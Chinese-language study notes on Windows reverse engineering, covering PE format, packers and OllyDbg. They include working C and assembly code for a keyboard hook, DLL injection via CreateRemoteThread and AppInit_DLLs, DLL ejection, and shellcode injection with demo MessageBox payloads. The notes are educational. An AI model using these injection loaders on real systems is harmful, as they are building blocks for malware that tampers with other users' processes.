关于逆向工程:
1.逆向分析法:
分类:静态分析法和动态分析法
在逆向分析代码时通常先静态分析收集信息,推测程序结构和行为机制,为动态分析提供辅助
逆向过程中要灵活使用静态和动态的方法提高效率
逆向分析helloword程序
1.入口点(EP):
call,jmp两个指令
EP是windows可执行文件的代码入口点,最先执行的代码
2.od使用简介:
Ctrl + G 前往一个地址 Ctrl + f 搜索
F4 执行到光标处
F2 设置或取消断点
F9 运行到断点处,或者运行到retn处
Enter 追踪jmp/call
; 添加注释
: 添加标签
-
显示上一个光标
-
显示ip指向的位置
空格 编写汇编代码
Ctrl + E 编辑数据
右键可查找标签双击跟踪
3.快速查找代码的4种方法:
代码执行法:helloword.exe运行代码出现弹窗即为主函数
字符串检索法:右键智能搜索引擎
API检索法(1):在调用代码中设置断点,右键查看所有模块间的调用
API检索法(2):在API代码中设置断点,右键查看所有模块间的名称*
Alt + M 打开映射窗口(view-memory)
.dll:
动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
4.修改字符串的两种方法:
直接修改字符串缓冲区:
在数据区Ctrl + G然后输入地址 Ctrl + E在UNcode文本框中改(最好不要超过原有长度)
在其他内存域生成新字符串并传给消息函数
栈帧
1.栈帧:
用ebp(栈帧指针)寄存器去访问栈内数据(注意不是esp)
在调用函数时把函数起始点保存到ebp中能够安全的访问到局部变量,参数,返回地址
2.设置ollydbg选项
Alt+O打开调试选项
函数调用约定
stdcall:
常用于Win32 API函数自己清理栈空间
cdecl:
主要在c中用,由调用者清理栈
fastcall:
与stdcall相似只是前两个参数用cx,dx,但是fastcall更快
PE文件格式
1.介绍:
PE文件指32位可执行文件,PE32
64位的叫做PE+ PE32+(PE32的一种拓展形式,不叫PE64)
2.PE文件格式种类:
obj为编译的后的文件,连接后变为exe文件
学PE文件格式就是学习PE头中的结构体
3.基本结构
dos头到节区头是PE头,下面的节区叫PE体
因为使用了最小基本单位在他们之间有NULL的空间
VA虚拟地址的绝对地址 RVA相对虚拟地址(从某一个基准地址开始的相对地址)
PE头(结构体·)
1.DOS头
大小为64(前4行),两个重要成员
e_magic:DOS签名(前四个字节)
e_lfanew:指示NT头偏移位移(不同文件值可变,最后4个字节)
2.DOS存根:
大小不固定,存放着dos(16位汇编)代码,能在dos上运行,而在window中会被忽略
3.NT头(大小为F8h,很大)
三个成员:
**签名结构体(singnature):**50450000h→“PE”00
文件头(File Header):
重要成员(4):
1.Machine:每个cpu唯一
2.NumberOfSections:指出文件的节区数
3.SizeOfOptionalHeader:用来指出NT可选头(IMAGE_OPTIONAL_HEADER32)的长度,64位与32位不同
4.Characteristics:识别文件属性,是否可运行,是否为DLL文件(记住0002h与2000h这两个值)
5.TimeDateStamp:记录文件创建时间
可选头(Otional Header/IMAGE_OPTIONAL_HEADER32)(最大):
1.Magic:
32位为10B,64位为20B
2.AddresOfEntryPoint:
3.ImageBase:
指出文件优先装入地址
4.SectionAlignment,FileAlignment:
5.SizeOflmage:
6.SizeOfHeaders:
用来指出整个PE头的大小
7.Subsystem:
8.NumberOfRvaAndSizes:
9.DateDirectory:是数组
4.节区头:
定义的各节区的的属性
IAT和EAT
IAT一种表格记录了程序正在使用哪些库中的哪些函数
DLL(动态链接库):
显式链接:程序用到DLL时再加载
隐式链接:程序运行时同时加载DLL,程序运行时结束(IAT使用的方式)
Import:导入,向库提供服务(函数)(在可选头中的DataDirectory[1]找到.)
Export:导出,从库向其他PE文件提供服务(函数)(在可选头中的DataDirectory[0]找到.)
IMAGE_IMPORT_DESCRIPTOR 结构体(也叫IMPORT Diretory)记录着PE文件要导入哪些库文
PE装载器工作将函数导入IAT过程(只要是实现程序在每个平台都可以运行,每个系统中的函数位置不一样):
EAT(导出表):
与IAT相似,但是EAT一个文件只有一个
导出表
运行时压缩
所有文件:
无损压缩格式:ZIP,RAR
主要算法:Run-Length,Lempel-Ziv,Huffman
有损压缩格式:jpg,MP3,MP4
可执行文件:
压缩器:
经过反逆向特别处理的压缩器叫保护器:
逆向学习这些的目的为了找到文件的OEP(原始入口)
压缩壳找OEP的方法:
ESP定律:
在pushad的栈那下硬件断点
重定义表
重定义表:记录硬编码地址偏移的表,在PE文件编译链接过程中提供
查找重定义表:
PE头的datediretory数组的第六个元素
查找:
WORD的第一个数表示类型 后三个数表示偏移(offset)
RVA=offset+virtualaddress
可执行文件中删除.reloc节区
UPack PE文件头详细分析
pe文件运行时的压缩器
-
重叠文件头
重叠文件头也是其他压缩器经常使用的技法,借助该方法可以把MZ文件头(IMAGE_DOS_HEADER)与PE文件头(IMAGE_NT_HEADER)巧妙重叠在一起,并可有效节约文件头空间,当然这回额外增加文件头的复杂性,给分析带来很大困难。根据PE文件格式规范,IMAGE_NT_HEADERS的起始位置是可变的,IMAGE_NT_HEADER的起始位置由e_lfanew的值决定,一般在一个正常程序中e_lfanew = MZ文件头大小(40)+ DOS存根大小(可变:VC++为A0)= E0
UPack的e_lfanew的值为10,并不违反PE规范,这样就可以把MZ文件头与PE文件头重叠在一起。
2.IMAGE_FILE_HEADER.SizeOfOptionalHeader
修改IMAGE_FILE_HEADER.SizeOfOptionalHeader的值,可以像文件中插入解码代码, SizeOfOptionalHeader表示PE文件头中紧接着在IMAGE_FILE_HEADER下的 IMAGE_OPTIONAL_HEADER结构体的长度,UPack将该值更改为0148.
SizeOfOptionalHeader的另一层含义是确定节区头(IMAGE_SECTION_HEADER)的起始偏移,仅从PE文件头来看,紧接着IMAGE_OPTIONAL_HEADER的好像是IMAGE_SECTION_HEADER,但实际上。从IMAGE_OPTIONAL_HEADER的起始偏移加上SizeOfOptionalHeader值后的位置开始才是IMAGE_SECTION_HEADER。
3.IMAGE_OPTIONAL_HEADER.NumberOfRvaAndSizes
从IMAGE_OPTIONAL_HEADER结构体中可以看到,其NumberOfRvaAndSizes的值也发生了改变,这样做的目的也是为了向文件头插入自身代码。 NumberOfRvaAndSizes值用来指出紧接着在后面的IMAGE_DATA_DIRECTORY结构体数组的元素个数,正常文件中IMAGE_DATA_DIRECTORY数组元素的个数为10,但在Upack中将其更改为了A个。 IMAGE_DATA_DIRECTORY结构体数组元素的个数已经被确定为10,但PE规范将NumberOfRvaAndSize值作为数组元素的个数,所以UPack中IMAGE_DATA_DIRECTORY结构体数组的后6个元素将被忽略。
Upack将IMAGE_OPTIONAL_HEADER.NumberOfRvaAndSize的值更改为A,从LOAD_CONFIG项(文件偏移D8以后)开始不再使用,UPack就在这块被忽视的IMAGE_DATA_DIRECTORY区域中复写字节的代码。
4重叠节区
UPack的主要特征之一是可以随意重叠PE节区与文件头
存在问题的地方: 第一个与第三个节区的文件起始偏移值都为10,偏移10是文件头区域,UPack中该位置起即为节区部分。 第一个节区与第三个节区的文件起始偏移与在文件中的大小是完全一直的,但是,节区内存的起始地址RVA项与内存大小值是彼此不同的,根据PE规范,这样做并不会由什么问题
综合以上两点,UPack会对PE文件头、第一个节区、第三个节区进行重叠。
文件的头(第一/第三个节区)区域的大小为200,其实这是非常小的,而第二个节区尺寸(AE28)非常大,占据了文件的大部分区域,原文件(notepad.exe)即压缩在第二节区中。
内存中第二节区放还未解压的原文件,放入后在运行时将文件解压到第一节区中。
解压后第一节区中:
内嵌补丁
1.清楚程序结构,加密的位置部分
2.找到一处程序未使用的空间
3.写内嵌补丁
4.找到内嵌补丁的切入点
5.注意jmp的规则用的是位置差来作为机器码,而不是jmp到具体位置
jmp的部分还需要解码,着还要看解码规则
windows消息钩取
HHOOK SetWindowsHookEx( int idHook, //hook type HOOKPROC lpfn, //hook procedure KeyboardProc的函数名 HINSTANCE hMod, //hook procedure所属的DLL句柄 DWORD dwThreadId //将要挂钩的目标线程ID );
HHOOK:返回值,钩子句柄,需要保留,等不使用钩子时通过UnhookWindowsHookEx函数卸载钩子。
idHook:钩子的拦截消息类型,选择钩子程序的拦截范围,具体值参考文章结尾的消息类型。
Lpfn:消息的回调函数地址,一般是填函数名。
hMod:钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。在dll中可通过AfxInitExtensionModule(MousehookDLL, hInstance)获得DLL句柄。
dwThreadId:钩子所监视的线程的线程号,可通过GetCurrentThreadId()获得线程号。对于全局钩子,该参数为NULL(或0)。
钩子过程(hook procedure)是由OS调用的回调函数。安装消息钩子时,钩子过程需要存在于某个DLL内部,并且该DLL的实例句柄即是hMod。
使用SetWindowsHookEx()设置好钩子后,在某个进程中生成指定消息时,OS会将相关的DLL文件强制注入相应的进程,然后调用注册的钩子过程。
代码部分:
HookMain.cpp
//HookMain
#include "stdio.h"
#include "windows.h"
//Console Input/Output,定义了通过控制台进行数据输入和数据输出的函数
//主要是一些用户通过按键盘产生的对应操作,比如getch()函数等等
#include "conio.h"
//定义一些常量
#define DEF_DLL_NAME "KeyHook.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"
//定义两个参数为空、返回值为void即没有的函数指针
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
void main(){
//定义及初始化句柄变量和函数指针
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
//加载KeyHook.dll
hDll = LoadLibraryA(DEF_DLL_NAME);
//若加载不成功,则输出错误信息
if( hDll == NULL ){
printf("[-]无法加载%s [%d]\n", DEF_DLL_NAME, GetLastError());
return;
}
//获取导出函数地址
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
//开始钩取
HookStart();
//直至用户输入“q”退出钩取
printf("[*]等待输入 'q' 来停止钩取...\n");
while( _getch() != 'q' );
//终止钩取
HookStop();
//卸载KeyHook.dll
FreeLibrary(hDll);
}
KeyHook.dll
//KeyHook.cpp
#include "stdio.h"
#include "windows.h"
//定义目标进程名为notepad.exe
#define DEF_PROCESS_NAME "notepad.exe"
//定义全局变量
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
//DllMain()函数在DLL被加载到进程后会自动执行
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char szPath[MAX_PATH] = {0,};
char *p = NULL;
if( nCode >= 0 ){
//释放键盘按键时,bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) ){
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
//比较当前进程名称,若为notepad.exe,则消息不会传递给应用程序或下一个钩子函数
//_stricmp()函数用于比较字符串,i表示不区分大小写,若两个值相等则返回0
if( !_stricmp(p + 1, DEF_PROCESS_NAME) ){
return 1;
}
}
}
//比较当前进程名称,若非notepad.exe,则消息传递给应用程序或下一个钩子函数
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
//在C++中调用C的库文件,用extern "C"告知编译器,因为C++支持函数重载而C不支持,两者的编译规则不同
#ifdef __cplusplus
extern "C"{
#endif
//__declspec,针对编译器的关键字,用于指出导出函数
//当调用导出函数HookStart()时,SetWindowsHookEx()函数就会将KeyboardProc()添加到键盘钩链
__declspec(dllexport) void HookStart(){
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HookStop(){
if(g_hHook){
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
HookMain.cpp 载入 KeyHook.dll 然后调用KeyHook.dll中的HookStart()和HookStop()
实践部分:(了解这种调试方法)
调试notepad.exe进程内的KeyHook.dll:
使用Ollydbg打开notepad.exe,再F9使其运行起来。当然也可以先运行notepad.exe再打开Ollydbg来attach该进程。
在Ollydbg中的Options>Debugging options>Events中勾选如下选项,即当新的DLL载入被调试进程时会自动暂停调试:
运行HookMain.exe,到notepad.exe中进行键盘输入,此时Ollydbg暂停调试并弹出Executable modules窗口
但是却没有发现有KeyHook.dll。
根据系统环境不同,有时不会先显示KeyHook.dll,而是先加载其他DLL库。此时可以F9直至KeyHook.dll加载完成。但可能有的系统不能正常显示,这时可以使用Ollydbg 2.0来查看。
再次F9运行,发现了KeyHook:
可以看到,钩子过程的地址为74C21498。
取消之前的Break on new module(DLL)设置,转到该地址查看,向起始地址处设置断点:
可以发现,当每次notepad.exe程序中发生键盘输入事件时,调试都会停止在该断点处
DLL注入
DLL注入的实现方法:
1、创建远程线程(CreateRemoteThread() API
2、使用注册表(AppInit_DLLs值):User32.dll加载时会读取AppInit_DLLs,若值则调用LoadLibrary() API来加载DLL。
3、消息钩取(SetWindowsHookEx() API)
1、CreateRemoteThread() 创建远程线程API
注意用管理员窗口打开
InjectDll.cpp 用于把dll注入目标程序的工具
#include <Windows.h>
#include <tchar.h>
BOOL InjeactDll(LPCTSTR szDllPath) {
HWND hWnd = FindWindow(NULL, L"扫雷");// 获取窗口句柄
if(hWnd){
DWORD PID = 0;
GetWindowThreadProcessId(hWnd, &PID);//通过窗口句柄获取线程id
//通 过线程id来打开一个已存在的进程对象,并返回进程的句柄,并且得到访问的各种权限。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
//在目标进程的虚拟空间内开辟一个带有权限的空间
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
//向目标空间内的目标地址上写入内容
WriteProcessMemory(hProcess, pRemoteBuf, szDllPath, dwBufSize, NULL);
//获取本进程的dll的句柄
HMODULE hMod = GetModuleHandle(L"kernel32.dll");
//获取dll中的目标函数地址
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
//创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
}
int _tmain(int argc,TCHAR *argv[]) {
if (InjeactDll(argv[1])) {
OutputDebugString(L"successful");
}
return 0;
}
2.注册表注入
原理:user32.dll被加载到进程时,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。严格的说,相应DLL并不会被加载到所有进程,而只是加载至加载user32.dll的进程。另外,Windows XP会忽略LoadAppInit DLLs注册表项。 在注册表编辑器中,将要注入的DLL的路径字符串写入AppInit_DLLs项目,然后把LoadAppInit DLLs的项目值设置为1。重启后,指定DLL会注入所有运行进程。
3.消息钩取
//KeyHook.cpp
#include "stdio.h"
#include "windows.h"
//定义目标进程名为notepad.exe
#define DEF_PROCESS_NAME "notepad.exe"
//定义全局变量
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
//DllMain()函数在DLL被加载到进程后会自动执行
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char szPath[MAX_PATH] = {0,};
char *p = NULL;
if( nCode >= 0 ){
//释放键盘按键时,bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) ){
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
//比较当前进程名称,若为notepad.exe,则消息不会传递给应用程序或下一个钩子函数
//_stricmp()函数用于比较字符串,i表示不区分大小写,若两个值相等则返回0
if( !_stricmp(p + 1, DEF_PROCESS_NAME) ){
return 1;
}
}
}
//比较当前进程名称,若非notepad.exe,则消息传递给应用程序或下一个钩子函数
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
dll的导出函数全在下面
//在C++中调用C的库文件,用extern "C"告知编译器,因为C++支持函数重载而C不支持,两者的编译规则不同
#ifdef __cplusplus
extern "C"{
#endif
//__declspec,针对编译器的关键字,用于指出导出函数
//当调用导出函数HookStart()时,SetWindowsHookEx()函数就会将KeyboardProc()添加到键盘钩链
__declspec(dllexport) void HookStart(){
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HookStop(){
if(g_hHook){
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
DLL卸载
与注入相似,只不过调用的是FreeLibrary
注意:FreeLibrary只适合与自己注入的DLL的卸载
但是卸载还多了一步就是在加载的众多dll找到它,然后获取他的地址,因为FreeLinrary的参数需
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName){
BOOL bMore = FALSE;
BOOL bFound = FALSE;
HANDLE hSnapshot;
HANDLE hProcess;
HANDLE hThread;
HMODULE hModule = NULL;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
//获取加载到进程的所有模块(DLL)信息
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
//循环遍历所有模块信息,查找是否存在目标DLL文件
bMore = Module32First(hSnapshot, &me);
for( ; bMore; bMore = Module32Next(hSnapshot, &me) ){
if( !_tcsicmp((LPCTSTR)me.szModule, szDllName) || !_tcsicmp((LPCTSTR)me.szExePath, szDllName) ){
bFound = TRUE;
break;
}
}
//查找不到指定进程中的指定的DLL文件时,退出程序
if ( !bFound ){
CloseHandle(hSnapshot);
return FALSE;
}
//获取目标进程的句柄
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ){
_tprintf(L"[-]OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
//获取模块句柄,再获取模块中FreeLibrary() API句柄
hModule = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
//在目标进程中创建远程线程并运行线程函数
//me.modBaseAddr参数是要卸载的DLL的加载地址
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
//关闭句柄
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
修改PE加载DLL
查看IDT后面是否还有空间,还有就截止接入一个(注意不是直接在后面加,而是要覆盖之前的零,之前有一个结构体里面全是零来表示结束的覆盖它,再看看后面是否有足够的零),如果不够就换一个位置、
换位置→接上加入的那个结构体写入RVA地址→再在写入的地址的部分写入数据→修改段落的权限改为允许写入→修改PE头的导入表,位置和大小,以及删除绑定导入表
修改段落权限:
节区头里面
删除绑定导入表
代码注入
shellcode注入
WriteProcessMemory向别注入进程写二进制数据,也就是已经编译完成的一段指令。我们一般称这些指令为shellcode。
大概流程就是先将代码需要的数据(包括要调用的系统函数地址)装到一个结构体中然后整体,然后在目标空间开辟一个区域,将这个结构体写入这个空间内。以参数的形式将这段地址传给要要运行的代码。运行的代码的函数调用是靠函数地址来完成的,所以需要定义函数指针,通过强转来调用函数。
调试了大半天才发现是代码段的权限没给够
#include <stdio.h>// 这个程序要用管理员命令执行
#include <windows.h>
#include <string.h>
typedef struct _THREAD_PARAM {
FARPROC pFun[2];
char szBuf[4][128];
} THREAD_PARAM ,* PTHREAD_PARAM;
typedef HMODULE (WINAPI * PFLOADLIBRARYA)(LPCSTR lpLibFileName);
typedef FARPROC(WINAPI* PFGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef int (WINAPI* PFMESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
DWORD WINAPI ThreadProc(LPVOID lParam) {
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
hMod = ((PFLOADLIBRARYA)pParam->pFun[0])(pParam->szBuf[0]);
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFun[1])(hMod, pParam->szBuf[1]);
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
BOOL InjectCode(DWORD PID) {
THREAD_PARAM parm = { 0, };//aassaa
DWORD dwSize = 0;
LPVOID pRemotebuf[2] = { 0, };
HMODULE hMod = NULL;
//HWND hWnd = FindWindow(NULL, L"无标题-记事本");
//DWORD PID = 14464;
//GetWindowThreadProcessId(hWnd, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
// 指针能存在在代码里面,但是里面的数据不能,在编译的时候指针会变成一个地址,可以被汇编代码直接使用
hMod = GetModuleHandleA("kernel32.dll");
parm.pFun[0] = GetProcAddress(hMod, "LoadLibraryA");
parm.pFun[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy(parm.szBuf[0], "user32.dll");
strcpy(parm.szBuf[1], "MessageBoxA");
strcpy(parm.szBuf[2], "hello");
strcpy(parm.szBuf[3], "world");
dwSize = sizeof(THREAD_PARAM);
pRemotebuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemotebuf[0], (LPVOID)&parm, dwSize, NULL);
// 这里是一个关键,要给这段区域可执行的权限,不然代码一直跑不起来 PAGE_EXECUTE_READWRITE
dwSize = (DWORD)InjectCode - (DWORD)ThreadProc;
pRemotebuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemotebuf[1], (LPVOID)ThreadProc, dwSize, NULL);
HANDLE hTread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemotebuf[1],pRemotebuf[0] ,0, NULL);
WaitForSingleObject(hTread, INFINITE);
CloseHandle(hTread);
CloseHandle(hProcess);
return 0;
}
int main(int argc, char* argv[]) {
DWORD dwPID = (DWORD)atol(argv[1]);
InjectCode(dwPID);
return 0;
}
汇编注入
与代码注入的思想相似,但是步骤不同。
最大的启发
小端序字符串的入栈方式
两种汇编的压栈思路:
1.用push 将字符串压入栈(小端序倒着压),再push sp成功压入字符串首地址,其实栈就是某一段共用的内存。
2.call 到下一个指令的地方去,他们之间放要压入栈的字符串,利用call是动态的,它其实是压入的下一条返回要执行的代码,但是我们不返回就相当于完成了push 然后jmp
创建远程线程时参数的传入方法与普通函数的调用是差不多的
在函数调用结束的时候不要忘了结束工作,如果没有返回值的记得xor ax,ax
不用mov ax,0是因为cpu计算xor更快
PUSH EBP
MOV EBP,ESP ; 生成栈桢
MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam 从栈上获取函数参数
PUSH 6C6C
PUSH 642E3233
PUSH 72657375
PUSH ESP ; - "user32.dll"(ESP为字符串首地址),LoadLibraryA的参数
CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
PUSH 41786F
PUSH 42656761
PUSH 7373654D
PUSH ESP ; - "MessageBoxA"(同上"user32.dll"的解释)
PUSH EAX ; - hMod(EAX是LoadLibraryA的返回值)
CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
PUSH 0 ; - MB_OK (0)
CALL 0040112C
<ASCII> ; - "ReverseCore", 0
CALL 00401145
<ASCII> ; - "www.reversecore.com", 0
PUSH 0 ; - hWnd (0)
CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
XOR EAX,EAX
MOV ESP,EBP
POP EBP
RETN
// CodeInjection2.cpp
// reversecore@gmail.com
// http://www.reversecore.com
#include "windows.h"
#include "stdio.h"
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
} THREAD_PARAM, *PTHREAD_PARAM;
BYTE g_InjectionCode[] =
{
0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,
0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,
0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,
0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,
0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,
0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,
0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,
0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,
0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,
0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3
};
/*
004010ED 55 PUSH EBP
004010EE 8BEC MOV EBP,ESP
004010F0 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam
004010F3 68 6C6C0000 PUSH 6C6C
004010F8 68 33322E64 PUSH 642E3233
004010FD 68 75736572 PUSH 72657375
00401102 54 PUSH ESP ; - "user32.dll"
00401103 FF16 CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
00401105 68 6F784100 PUSH 41786F
0040110A 68 61676542 PUSH 42656761
0040110F 68 4D657373 PUSH 7373654D
00401114 54 PUSH ESP ; - "MessageBoxA"
00401115 50 PUSH EAX ; - hMod
00401116 FF56 04 CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
00401119 6A 00 PUSH 0 ; - MB_OK (0)
0040111B E8 0C000000 CALL 0040112C
00401120 <ASCII> ; - "ReverseCore", 0
0040112C E8 14000000 CALL 00401145
00401131 <ASCII> ; - "www.reversecore.com", 0
00401145 6A 00 PUSH 0 ; - hWnd (0)
00401147 FFD0 CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
00401149 33C0 XOR EAX,EAX
0040114B 8BE5 MOV ESP,EBP
0040114D 5D POP EBP
0040114E C3 RETN
*/
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectCode(DWORD dwPID)
{
HMODULE hMod = NULL;
THREAD_PARAM param = {0,};
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
hMod = GetModuleHandleA("kernel32.dll");
// set THREAD_PARAM
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
// Open Process
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, // dwDesiredAccess
FALSE, // bInheritHandle
dwPID)) ) // dwProcessId
{
printf("OpenProcess() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for THREAD_PARAM
if( !(pRemoteBuf[0] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
sizeof(THREAD_PARAM), // dwSize
MEM_COMMIT, // flAllocationType
PAGE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[0], // lpBaseAddress
(LPVOID)¶m, // lpBuffer
sizeof(THREAD_PARAM), // nSize
NULL) ) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for ThreadProc()
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
sizeof(g_InjectionCode), // dwSize
MEM_COMMIT, // flAllocationType
PAGE_EXECUTE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[1], // lpBaseAddress
(LPVOID)&g_InjectionCode, // lpBuffer
sizeof(g_InjectionCode), // nSize
NULL) ) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !(hThread = CreateRemoteThread(hProcess, // hProcess
NULL, // lpThreadAttributes
0, // dwStackSize
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0], // lpParameter
0, // dwCreationFlags
